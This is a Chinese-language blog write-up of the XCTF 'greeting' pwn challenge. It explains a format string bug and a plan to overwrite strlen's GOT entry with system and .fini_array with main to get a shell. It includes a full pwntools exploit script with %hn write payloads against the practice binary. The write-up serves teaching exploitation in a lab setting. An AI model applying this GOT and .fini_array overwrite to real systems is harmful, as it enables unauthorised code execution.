攻防世界-pwn-greeting

greeting

  1. 先看保护

  2. 拖进ida查看

    可以看到很明显的格式化字符串漏洞

    我们还可以发现一个利用了system的函数(这说明我们可以利用system的plt)

  3. 解题思路
    我们利用格式化字符串修改strlen的got地址为sys的plt地址使其变更为system函数,之后我们只需要在输入的时候输入/bin/sh就可以获得shell了,但是我们只有一次输入的机会,所以我们需要将main执行两次。无法循环如何解?我们在写代码的时候是以main函数作为程序入口,但是编译程序的时候入口并不是main函数,而是start代码段。而start代码段还会调用__libc_start_main来做一些初始化工作,最后调用main函数并在main函数结束后做一些处理。其流程见于链接http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html

    简单来说,在main函数前会调用.init段代码.init_array段的函数数组中每一个函数指针。同样的,main函数结束时也会调用.fini段代码和.fini_array段的函数数组中的每一个函数指针。而我们目标就是修改.fini_array数组的第一个元素start。需要注意的是,这个数组的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要一次性修改两个地址并且合理调整payload。

  4. exp

    点击查看代码
    #-*- coding:utf-8 -*-
    from pwn import *
    
    p=process('./greeting')
    #gdb.attach(p)
    elf=ELF('./greeting')
    strlen_got=elf.got['strlen']
    fini_array=0x08049934
    main=0x080485ed
    system_plt=0x08048490
    payload='aa'
    payload+=p32(strlen_got+2) #12
    payload+=p32(strlen_got) #13
    payload+=p32(fini_array) #14
    #“+2”的原因是,0x8048490的高2字节是0x804,比后2字节小,分开来写要将小的先写,
    #因为越往后只会越加越大。
    #为什么是2020呢。因为我们要写入0x0804,而0x0804等于2052,而我们要减去前面的字节(前面有2个字符三个地址和一个字符串)
    #aa与"Nice to meet you, ",所以是2052-2-18-12
    payload+="%2020c%12$hn"
    #31884=0x8490-0x804
    payload+="%31884c%13$hn"
    #上面我们就将strlen的got地址给改成了sys的地址
    #我们现在只需要该后两个字节的地址,因为前两个他们都一样
    #0x85ed-0x8490=349
    payload+="%349c%14$hn"
    p.sendlineafter('... ',payload)
    p.sendlineafter('... ','/bin/sh')
    p.interactive()
    

若有错误见谅,小白一枚w(゚Д゚)w

posted @ 2021-11-29 20:29  云想花容  阅读(126)  评论(0)    收藏  举报